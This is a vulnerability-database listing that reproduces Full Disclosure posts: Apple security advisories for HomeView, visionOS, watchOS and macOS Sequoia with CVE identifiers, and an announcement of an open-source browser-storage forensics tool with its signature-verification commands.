Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmr3dWYACgkQ4Ifiq8DH\n7PViARAAuNc2qlV+XHOsoPk0Zr3unXxh5G8s2uasQwENUHJ2hH/blA9eb7QoDmsF\nbrtc9OnaVVFR7hePKXamzxF+BsZtdsNSr0o8bBKkOB1C0+0ODi8QN/RJnW1I2fV4\nGTxCozFMB+2mXHgeZLEwpv++gPK/0mVpxzC7xBRIJf8L769wVmelxDwF4SASWT63\npGunJ4MPrL2yJovvpR/UYFnm8vhPs3RpKDFZ4wROahfZhCQpcpVBMRHRcCKdeQXE\nO41Wp5B8AJPohYsnAWzTNCe4DOCxeDsav13XZulcErCFqf5fvvFJf/LDLON2kcIF\nKHXPmmk+78xFPtx/CHsG5fnfYP/z6Evt2byKAE0nZxAICtamfarormY9LTwoAZzd\nXD1t8BmdvupBvYQ1Hc33GCbc627K4qlZosuyLkTOOsGT0PR+DzDlcIb/T+LOxJaM\n9ve+8mIXUYqo8pkNIhThP6joJRxzvwLvMbv2GP3c59JtEMBEaa5ZQQCbVftOqQNf\nsDwtjubvzWUj5WxUu5S+VaFgROJkVq3FFJC5c6nUPsJBwuuYl6w0bOyjrQu2ytpI\nEwy4KGE1RQFw8lHQZxcrk47g5H63qdfZFU48GyLk+vdNBKCus4fCf+J8u4zFnFAd\nCP5BI6zg/KwW7l/4ctLF5eTWMP/B6jPLPtGCdrA8XWXAOtWKhWU=\n=ijyD\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0572
Vulnerability from gna-1988 – Published: 2026-11-17 19:38 – Updated: 2026-11-17 19:38
VLAI
EPSS
VEX
Title
[Tool] starshield-forensics v0.3.7: Offline Chromium LevelDB .log carver (Python stdlib, MIT)
Summary
Tool: starshield-forensics v0.3.7 & StarShield-Bench-24
Category: Digital Forensics / Incident Response (DFIR) & AI Security
License: MIT (Open Source, Python >= 3.10 standard library only)
Author: Ziqi Xiao (@Ziqi)
Repository: https://github.com/Ziqi/starshield-forensics
Release Tag:
https://github.com/Ziqi/starshield-forensics/releases/tag/v0.3.7
Documentation: https://ziqi.github.io/starshield/
Zenodo DOI: https://doi.org/10.5281/zenodo.24145804 (v0.3.7:
10.5281/zenodo.24156262)
Supply Chain: OpenSSF Best Practices Silver (#16602) | Scorecard 7.1/10
https://www.bestpractices.dev/projects/16602
1. Summary & Threat Context
---------------------------
During Business Email Compromise (BEC), supplier invoice diversion, and
Authorized Push Payment (APP) fraud investigations, browser-based messaging
and invoicing apps frequently propagate UI retractions or post-transfer
edits as soft-delete updates while uncompacted Chromium IndexedDB / Local
Storage LevelDB write-ahead logs (.log) still retain earlier UTF-8 or
UTF-16LE JSON records or text fragments on disk.
At the same time, piping untrusted adversary chat exports directly into LLM
summarizers exposes incident responders to indirect prompt injection (OWASP
LLM01) and fabricated payment routing identifiers.
starshield-forensics v0.3.7 is a deterministic, offline Python 3.10+
standard-library CLI utility (zero external PyPI dependencies) packaged as
a reproducible single-file .pyz zipapp for restricted lab and triage hosts.
2. Technical Capabilities (v0.3.7)
----------------------------------
- Redacted Storage Feasibility Check (`precheck`):
Scans read-only copies of Chromium IndexedDB / Local Storage directories
offline, distinguishing uncompacted `.log` WAL segments from Snappy
`.ldb` SSTables (footer magic `0xdb4775248b80fb57`) and Blink `0xFF`
envelopes (`GO` / `PARTIAL` / `NO_GO_COMPACTED_OR_UNSUPPORTED`) using
aggregate counts only without emitting raw message plaintext or paths.
- Cross-Block 32 KiB LevelDB `.log` Carver (`parse-leveldb-log`):
Parses physical 32,768-byte WAL blocks, verifies masked Castagnoli CRC32C
(`(((crc >> 15) | (crc << 17)) + 0xA282EAD8) mod 2^32`), reassembles
`FULL`, `FIRST`, `MIDDLE`, and `LAST` fragments across `0x8000` block
boundaries, and carves soft-deleted / edited JSON records
(`--schema auto|chatsvc|generic-json`) anchored to exact physical byte
offsets (`leveldb_batch_byte_offset`).
- Exported JSON Triage & Container Provenance (`triage-json`,
`inspect-image`):
Enumerates `deletetime` / `edittime` records in JSON exports and performs
neutral structural verification of RFC 2083 PNG chunks
(`IHDR`/`iCCP`/`IDAT`)
and multi-segment ISO 10918 JPEG `APP2` ICC (`acsp`) + `APP13` (`8BIM`)
markers, paired with explicit OS-screenshot caveats to prevent
overclaiming.
- Payment Identifier Checksums & Keyed Pseudonymization:
Validates ISO/IEC 7812 Luhn card numbers, 89-country ISO-13616 IBAN
Mod-97 checksums, intra-message UK Sort Code + 8-digit account pairs,
and ISO-9362 SWIFT/BIC syntax (250 ISO-3166 country codes). Suppresses
filenames, byte counts, and stderr snippets while pseudonymising matched
identifiers by default via per-run keyed HMAC-SHA256 tokens
(`--hmac-digest {sha256,sha384,blake2b}`).
- `StarShield-Bench-24` Synthetic Evaluation Corpus:
24 seeded synthetic test cases (`SSB24-01`..`SSB24-24`) scoring WAL
recovery, byte-offset citation accuracy, malformed-container rejection,
and bilingual indirect prompt-injection resilience; paired with 12
companion financial-triage cases (`TC-0456`..`TC-0467`) submitted
upstream in OWASP GenAI Data Security Initiative PR #119.
3. Reproducible Build & Cryptographic Verification
--------------------------------------------------
Single-file reproducible `starshield.pyz` SHA-256 (`v0.3.7`):
e6603ef083b20a5460bf56818f63a3a94b856deb377a5b6330be2394e0e21232
Maintainer OpenSSH Ed25519 Signing Key (`KEYS.pub` in repository):
2196305+Ziqi () users noreply github com namespaces="file,git" ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIKz9qGDNELwOsoNnmZIpLKQ+5HOqdE4ilZaTRA/1LR7a
Verification commands (OpenSSH >= 8.2p1, zero external packages):
ssh-keygen -Y verify -f KEYS.pub \
-I "2196305+Ziqi () users noreply github com" \
-n file -s SHA256SUMS.sig < SHA256SUMS
shasum -a 256 -c SHA256SUMS
python3 scripts/build_reproducible.py --verify
Bug reports, edge-case Chromium WAL test vectors, and technical critiques
are welcome via GitHub Issues: https://github.com/Ziqi/starshield-forensics
--
Ziqi Xiao
Independent Security Architect & Digital Forensics Researcher
https://ziqi.github.io/starshield/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | starshield-forensics |
Affected:
unknown
|
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Summary \u0026 Threat Context\n---------------------------\nDuring Business Email Compromise (BEC), supplier invoice diversion, and\nAuthorized Push Payment (APP) fraud investigations, browser-based messaging\nand invoicing apps frequently propagate UI retractions or post-transfer\nedits as soft-delete updates while uncompacted Chromium IndexedDB / Local\nStorage LevelDB write-ahead logs (.log) still retain earlier UTF-8 or\nUTF-16LE JSON records or text fragments on disk.\n\nAt the same time, piping untrusted adversary chat exports directly into LLM\nsummarizers exposes incident responders to indirect prompt injection (OWASP\nLLM01) and fabricated payment routing identifiers.\n\nstarshield-forensics v0.3.7 is a deterministic, offline Python 3.10+\nstandard-library CLI utility (zero external PyPI dependencies) packaged as\na reproducible single-file .pyz zipapp for restricted lab and triage hosts.\n\n\n2. Technical Capabilities (v0.3.7)\n----------------------------------\n- Redacted Storage Feasibility Check (`precheck`):\n Scans read-only copies of Chromium IndexedDB / Local Storage directories\n offline, distinguishing uncompacted `.log` WAL segments from Snappy\n `.ldb` SSTables (footer magic `0xdb4775248b80fb57`) and Blink `0xFF`\n envelopes (`GO` / `PARTIAL` / `NO_GO_COMPACTED_OR_UNSUPPORTED`) using\n aggregate counts only without emitting raw message plaintext or paths.\n\n- Cross-Block 32 KiB LevelDB `.log` Carver (`parse-leveldb-log`):\n Parses physical 32,768-byte WAL blocks, verifies masked Castagnoli CRC32C\n (`(((crc \u003e\u003e 15) | (crc \u003c\u003c 17)) + 0xA282EAD8) mod 2^32`), reassembles\n `FULL`, `FIRST`, `MIDDLE`, and `LAST` fragments across `0x8000` block\n boundaries, and carves soft-deleted / edited JSON records\n (`--schema auto|chatsvc|generic-json`) anchored to exact physical byte\n offsets (`leveldb_batch_byte_offset`).\n\n- Exported JSON Triage \u0026 Container Provenance (`triage-json`,\n`inspect-image`):\n Enumerates `deletetime` / `edittime` records in JSON exports and performs\n neutral structural verification of RFC 2083 PNG chunks\n(`IHDR`/`iCCP`/`IDAT`)\n and multi-segment ISO 10918 JPEG `APP2` ICC (`acsp`) + `APP13` (`8BIM`)\n markers, paired with explicit OS-screenshot caveats to prevent\noverclaiming.\n\n- Payment Identifier Checksums \u0026 Keyed Pseudonymization:\n Validates ISO/IEC 7812 Luhn card numbers, 89-country ISO-13616 IBAN\n Mod-97 checksums, intra-message UK Sort Code + 8-digit account pairs,\n and ISO-9362 SWIFT/BIC syntax (250 ISO-3166 country codes). Suppresses\n filenames, byte counts, and stderr snippets while pseudonymising matched\n identifiers by default via per-run keyed HMAC-SHA256 tokens\n (`--hmac-digest {sha256,sha384,blake2b}`).\n\n- `StarShield-Bench-24` Synthetic Evaluation Corpus:\n 24 seeded synthetic test cases (`SSB24-01`..`SSB24-24`) scoring WAL\n recovery, byte-offset citation accuracy, malformed-container rejection,\n and bilingual indirect prompt-injection resilience; paired with 12\n companion financial-triage cases (`TC-0456`..`TC-0467`) submitted\n upstream in OWASP GenAI Data Security Initiative PR #119.\n\n\n3. Reproducible Build \u0026 Cryptographic Verification\n--------------------------------------------------\nSingle-file reproducible `starshield.pyz` SHA-256 (`v0.3.7`):\n e6603ef083b20a5460bf56818f63a3a94b856deb377a5b6330be2394e0e21232\n\nMaintainer OpenSSH Ed25519 Signing Key (`KEYS.pub` in repository):\n 2196305+Ziqi () users noreply github com namespaces=\"file,git\" ssh-ed25519\nAAAAC3NzaC1lZDI1NTE5AAAAIKz9qGDNELwOsoNnmZIpLKQ+5HOqdE4ilZaTRA/1LR7a\n\nVerification commands (OpenSSH \u003e= 8.2p1, zero external packages):\n ssh-keygen -Y verify -f KEYS.pub \\\n -I \"2196305+Ziqi () users noreply github com\" \\\n -n file -s SHA256SUMS.sig \u003c SHA256SUMS\n shasum -a 256 -c SHA256SUMS\n python3 scripts/build_reproducible.py --verify\n\nBug reports, edge-case Chromium WAL test vectors, and technical critiques\nare welcome via GitHub Issues: https://github.com/Ziqi/starshield-forensics\n\n-- \nZiqi Xiao\nIndependent Security Architect \u0026 Digital Forensics Researcher\nhttps://ziqi.github.io/starshield/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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GCVE-1988-2026-0571
Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
EPSS
VEX
Title
APPLE-SA-11-12-2026-1 HomeView Software Version 27.2
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-11-12-2026-1 HomeView Software Version 27.2
HomeView Software Version 27.2 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/149851.
Apple maintains a Security Releases page at
https://support.apple.com/100100 which lists recent
software updates with security advisories.
AirPlay
Available for: Apple HomeView
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113968: Apple
App Intents
Available for: Apple HomeView
Impact: An app may be able to access sensitive user data
Description: An authorization issue was addressed with improved state
management.
CVE-2026-113963: László Várady
Bluetooth
Available for: Apple HomeView
Impact: An attacker in Bluetooth range may be able to corrupt process
memory
Description: A use-after-free issue was addressed with improved memory
management.
CVE-2026-113970: Apple
brotli
Available for: Apple HomeView
Impact: Processing maliciously crafted input may lead to memory
corruption
Description: An out-of-bounds write issue was addressed with improved
input validation.
CVE-2026-111497
CoreUtils
Available for: Apple HomeView
Impact: A malicious Bluetooth device may be able to establish a pairing
without user interaction
Description: This issue was addressed with improved checks.
CVE-2026-113965: Apple
CoreUtils
Available for: Apple HomeView
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts and pair with a device without user
interaction
Description: A logic issue was addressed with improved state management.
CVE-2026-113964: an anonymous researcher
Messages
Available for: Apple HomeView
Impact: A remote attacker may be able to join an iMessage group chat and
receive its messages
Description: An authorization issue was addressed with improved
validation.
CVE-2026-113961: an anonymous researcher
Messages
Available for: Apple HomeView
Impact: A user added to an iMessage group may be able to access messages
sent before they joined
Description: This issue was addressed by removing the vulnerable code.
CVE-2026-113960: an anonymous researcher
rapportd
Available for: Apple HomeView
Impact: An attacker on the same network may be able to bypass the rate
limit on AirPlay pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113969: Apple
Apple HomeView automatically installs software updates by default.
Instructions on how to manually install Apple HomeView software
updates are available at https://support.apple.com/149085.
To check the software version on your Apple HomeView, open the
Settings app and choose General > About.
All information is also posted on the Apple Security Releases
web site: https://support.apple.com/100100.
This message is signed with Apple's Product Security PGP key,
and details are available at:
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_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | HomeView Software Version |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0571 (this record)
- related CVE-2026-111497
- related CVE-2026-113960
- related CVE-2026-113961
- related CVE-2026-113963
- related CVE-2026-113964
- related CVE-2026-113965
- related CVE-2026-113968
- related CVE-2026-113969
- related CVE-2026-113970
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GCVE-1988-2026-0570
Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
EPSS
VEX
Title
APPLE-SA-11-09-2026-9 visionOS 27.2.1
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-11-09-2026-9 visionOS 27.2.1
visionOS 27.2.1 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/149724.
Apple maintains a Security Releases page at
https://support.apple.com/100100 which lists recent
software updates with security advisories.
AirPlay
Available for: Apple Vision Pro (all models)
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113968: Apple
App Intents
Available for: Apple Vision Pro (all models)
Impact: An app may be able to access sensitive user data
Description: An authorization issue was addressed with improved state
management.
CVE-2026-113963: László Várady
Bluetooth
Available for: Apple Vision Pro (all models)
Impact: An attacker in Bluetooth range may be able to corrupt process
memory
Description: A use-after-free issue was addressed with improved memory
management.
CVE-2026-113970: Apple
brotli
Available for: Apple Vision Pro (all models)
Impact: Processing maliciously crafted input may lead to memory
corruption
Description: An out-of-bounds write issue was addressed with improved
input validation.
CVE-2026-111497
CoreUtils
Available for: Apple Vision Pro (all models)
Impact: A malicious Bluetooth device may be able to establish a pairing
without user interaction
Description: This issue was addressed with improved checks.
CVE-2026-113965: Apple
CoreUtils
Available for: Apple Vision Pro (all models)
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts and pair with a device without user
interaction
Description: A logic issue was addressed with improved state management.
CVE-2026-113964: an anonymous researcher
Messages
Available for: Apple Vision Pro (all models)
Impact: A remote attacker may be able to join an iMessage group chat and
receive its messages
Description: An authorization issue was addressed with improved
validation.
CVE-2026-113961: an anonymous researcher
Messages
Available for: Apple Vision Pro (all models)
Impact: A user added to an iMessage group may be able to access messages
sent before they joined
Description: This issue was addressed by removing the vulnerable code.
CVE-2026-113960: an anonymous researcher
rapportd
Available for: Apple Vision Pro (all models)
Impact: An attacker on the same network may be able to bypass the rate
limit on AirPlay pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113969: Apple
Instructions on how to update visionOS are available
at https://support.apple.com/kb/HT214009
To check the software version on your Apple Vision Pro,
open the Settings app and choose General > About.
All information is also posted on the Apple Security Releases
web site: https://support.apple.com/100100.
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Relationships
reference
GCVE-1988-2026-0570 (this record)
- related CVE-2026-111497
- related CVE-2026-113960
- related CVE-2026-113961
- related CVE-2026-113963
- related CVE-2026-113964
- related CVE-2026-113965
- related CVE-2026-113968
- related CVE-2026-113969
- related CVE-2026-113970
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GCVE-1988-2026-0569
Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
EPSS
VEX
Title
APPLE-SA-11-09-2026-8 watchOS 26.6.1
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-11-09-2026-8 watchOS 26.6.1
watchOS 26.6.1 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/149723.
Apple maintains a Security Releases page at
https://support.apple.com/100100 which lists recent
software updates with security advisories.
AirPlay
Available for: Apple Watch Series 6, Apple Watch Series 7, Apple Watch
Series 8, Apple Watch SE (2nd generation), and Apple Watch Ultra
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113968: Apple
Bluetooth
Available for: Apple Watch Series 6, Apple Watch Series 7, Apple Watch
Series 8, Apple Watch SE (2nd generation), and Apple Watch Ultra
Impact: An attacker in Bluetooth range may be able to corrupt process
memory
Description: A use-after-free issue was addressed with improved memory
management.
CVE-2026-113970: Apple
CoreUtils
Available for: Apple Watch Series 6, Apple Watch Series 7, Apple Watch
Series 8, Apple Watch SE (2nd generation), and Apple Watch Ultra
Impact: A malicious Bluetooth device may be able to establish a pairing
without user interaction
Description: This issue was addressed with improved checks.
CVE-2026-113965: Apple
CoreUtils
Available for: Apple Watch Series 6, Apple Watch Series 7, Apple Watch
Series 8, Apple Watch SE (2nd generation), and Apple Watch Ultra
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts and pair with a device without user
interaction
Description: A logic issue was addressed with improved state management.
CVE-2026-113964: an anonymous researcher
rapportd
Available for: Apple Watch Series 6, Apple Watch Series 7, Apple Watch
Series 8, Apple Watch SE (2nd generation), and Apple Watch Ultra
Impact: An attacker on the same network may be able to bypass the rate
limit on AirPlay pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113969: Apple
Instructions on how to update your Apple Watch software are
available at https://support.apple.com/kb/HT204641
To check the version on your Apple Watch, open the Apple Watch app
on your iPhone and select "My Watch > General > About".
Alternatively, on your watch, select "My Watch > General > About".
All information is also posted on the Apple Security Releases
web site: https://support.apple.com/100100.
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Relationships
reference
GCVE-1988-2026-0569 (this record)
- related CVE-2026-113964
- related CVE-2026-113965
- related CVE-2026-113968
- related CVE-2026-113969
- related CVE-2026-113970
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{
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"type": "related"
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"type": "related"
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GCVE-1988-2026-0568
Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
EPSS
VEX
Title
APPLE-SA-11-09-2026-7 watchOS 27.2.1
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-11-09-2026-7 watchOS 27.2.1
watchOS 27.2.1 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/149722.
Apple maintains a Security Releases page at
https://support.apple.com/100100 which lists recent
software updates with security advisories.
AirPlay
Available for: Apple Watch Series 9 and later
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113968: Apple
App Intents
Available for: Apple Watch Series 9 and later
Impact: An app may be able to access sensitive user data
Description: An authorization issue was addressed with improved state
management.
CVE-2026-113963: László Várady
Bluetooth
Available for: Apple Watch Series 9 and later
Impact: An attacker in Bluetooth range may be able to corrupt process
memory
Description: A use-after-free issue was addressed with improved memory
management.
CVE-2026-113970: Apple
brotli
Available for: Apple Watch Series 9 and later
Impact: Processing maliciously crafted input may lead to memory
corruption
Description: An out-of-bounds write issue was addressed with improved
input validation.
CVE-2026-111497
CoreUtils
Available for: Apple Watch Series 9 and later
Impact: A malicious Bluetooth device may be able to establish a pairing
without user interaction
Description: This issue was addressed with improved checks.
CVE-2026-113965: Apple
CoreUtils
Available for: Apple Watch Series 9 and later
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts and pair with a device without user
interaction
Description: A logic issue was addressed with improved state management.
CVE-2026-113964: an anonymous researcher
Messages
Available for: Apple Watch Series 9 and later
Impact: A remote attacker may be able to join an iMessage group chat and
receive its messages
Description: An authorization issue was addressed with improved
validation.
CVE-2026-113961: an anonymous researcher
Messages
Available for: Apple Watch Series 9 and later
Impact: A user added to an iMessage group may be able to access messages
sent before they joined
Description: This issue was addressed by removing the vulnerable code.
CVE-2026-113960: an anonymous researcher
rapportd
Available for: Apple Watch Series 9 and later
Impact: An attacker on the same network may be able to bypass the rate
limit on AirPlay pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113969: Apple
Instructions on how to update your Apple Watch software are
available at https://support.apple.com/kb/HT204641
To check the version on your Apple Watch, open the Apple Watch app
on your iPhone and select "My Watch > General > About".
Alternatively, on your watch, select "My Watch > General > About".
All information is also posted on the Apple Security Releases
web site: https://support.apple.com/100100.
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Relationships
reference
GCVE-1988-2026-0568 (this record)
- related CVE-2026-111497
- related CVE-2026-113960
- related CVE-2026-113961
- related CVE-2026-113963
- related CVE-2026-113964
- related CVE-2026-113965
- related CVE-2026-113968
- related CVE-2026-113969
- related CVE-2026-113970
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{
"product": "Watchos",
"vendor": "Apple",
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{
"lang": "en",
"type": "finder",
"value": "Apple Product Security via Fulldisclosure"
}
],
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"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-11-09-2026-7 watchOS 27.2.1\n\nwatchOS 27.2.1 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/149722.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nAirPlay\nAvailable for: Apple Watch Series 9 and later\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113968: Apple\n\nApp Intents\nAvailable for: Apple Watch Series 9 and later\nImpact: An app may be able to access sensitive user data\nDescription: An authorization issue was addressed with improved state\nmanagement.\nCVE-2026-113963: L\u00e1szl\u00f3 V\u00e1rady\n\nBluetooth\nAvailable for: Apple Watch Series 9 and later\nImpact: An attacker in Bluetooth range may be able to corrupt process\nmemory\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nCVE-2026-113970: Apple\n\nbrotli\nAvailable for: Apple Watch Series 9 and later\nImpact: Processing maliciously crafted input may lead to memory\ncorruption\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation.\nCVE-2026-111497\n\nCoreUtils\nAvailable for: Apple Watch Series 9 and later\nImpact: A malicious Bluetooth device may be able to establish a pairing\nwithout user interaction\nDescription: This issue was addressed with improved checks.\nCVE-2026-113965: Apple\n\nCoreUtils\nAvailable for: Apple Watch Series 9 and later\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts and pair with a device without user\ninteraction\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113964: an anonymous researcher\n\nMessages\nAvailable for: Apple Watch Series 9 and later\nImpact: A remote attacker may be able to join an iMessage group chat and\nreceive its messages\nDescription: An authorization issue was addressed with improved\nvalidation.\nCVE-2026-113961: an anonymous researcher\n\nMessages\nAvailable for: Apple Watch Series 9 and later\nImpact: A user added to an iMessage group may be able to access messages\nsent before they joined\nDescription: This issue was addressed by removing the vulnerable code.\nCVE-2026-113960: an anonymous researcher\n\nrapportd\nAvailable for: Apple Watch Series 9 and later\nImpact: An attacker on the same network may be able to bypass the rate\nlimit on AirPlay pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113969: Apple\n\nInstructions on how to update your Apple Watch software are\navailable at https://support.apple.com/kb/HT204641\n\nTo check the version on your Apple Watch, open the Apple Watch app\non your iPhone and select \"My Watch \u003e General \u003e About\".\n\nAlternatively, on your watch, select \"My Watch \u003e General \u003e About\".\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPJwACgkQ4Ifiq8DH\n7PU57A/+MjEqUmgdUxHQBA0A3aAyuLUSmQ8jw0uXA7ujj3ZPZ79jnbgAQmgY5uxR\ntCzp+9cvPdA5oHK1oK+/IOxhzIWQWV8K8DdSdCChKMM3IMK+L8YnBeo7upzcxQJj\nOG3/nqlUpWESuK/UPhP+zaWXmzgudhSYtwso1RNQlsb0oLenfIuwK+Z23BENybbg\noAPv0pO7wwA4mwbTtsqrNWGUcw4bi+HL0mnkx+62gQfkktlolvcfy5CwM+wHcI/i\nkEHxoDtxAHIWSO/qlNxoY8Ykba2PI0et1/87DRmduLVLcWUeARi4JuYiMzM2JGoo\nTTWn/wp/RXAzIBFV1/kfX9fgLKTTMzEIjeM6hTAIPdt6RSoF4X9+iIXBhOI0HDWv\novTg5ZLd483VI//YRaJQMF6309ExQJmaHun9CTlxRzJZmB1NcW1u8S0B6//lk/6Q\nIwgn9PlMH1ia/kFK45sU5IYO1Uyvel/2BjGL7VGnMyitryTV8gHOaES0jYryvxgR\nKL6RDKrvBJSAXpSecVAdZcdjJe/PK2JtG30fnGSyrd/JqL4hdkDwCq5HPaRucAUf\nwI7ygmrkauWN91MHyAtHlFaaXi+eBh3Xy3omYS/Bd/ARR/xTaj+C/pVZU3+heo0W\nTekk4XjsaVCDn2orf73El+Q6IohEhmtYqoLnGB1aFqkeE+YbMTY=\n=EIIa\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
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GCVE-1988-2026-0567
Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
EPSS
VEX
Title
APPLE-SA-11-09-2026-6 macOS Sequoia 15.8.3
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-11-09-2026-6 macOS Sequoia 15.8.3
macOS Sequoia 15.8.3 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/149720.
Apple maintains a Security Releases page at
https://support.apple.com/100100 which lists recent
software updates with security advisories.
AirPlay
Available for: macOS Sequoia
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113968: Apple
Bluetooth
Available for: macOS Sequoia
Impact: An attacker in Bluetooth range may be able to corrupt process
memory
Description: A use-after-free issue was addressed with improved memory
management.
CVE-2026-113970: Apple
brotli
Available for: macOS Sequoia
Impact: Processing maliciously crafted input may lead to memory
corruption
Description: An out-of-bounds write issue was addressed with improved
input validation.
CVE-2026-111497
CoreUtils
Available for: macOS Sequoia
Impact: A malicious Bluetooth device may be able to establish a pairing
without user interaction
Description: This issue was addressed with improved checks.
CVE-2026-113965: Apple
CoreUtils
Available for: macOS Sequoia
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts and pair with a device without user
interaction
Description: A logic issue was addressed with improved state management.
CVE-2026-113964: an anonymous researcher
Messages
Available for: macOS Sequoia
Impact: A user added to an iMessage group may be able to access messages
sent before they joined
Description: This issue was addressed by removing the vulnerable code.
CVE-2026-113960: an anonymous researcher
Messages
Available for: macOS Sequoia
Impact: A remote attacker may be able to join an iMessage group chat and
receive its messages
Description: An authorization issue was addressed with improved
validation.
CVE-2026-113961: an anonymous researcher
rapportd
Available for: macOS Sequoia
Impact: An attacker on the same network may be able to bypass the rate
limit on AirPlay pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113969: Apple
macOS Sequoia 15.8.3 may be obtained from the Mac App Store or
Apple's Software Downloads web site:
https://support.apple.com/downloads/
All information is also posted on the Apple Security Releases
web site: https://support.apple.com/100100.
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apple | Macos Sequoia |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0567 (this record)
- related CVE-2026-111497
- related CVE-2026-113960
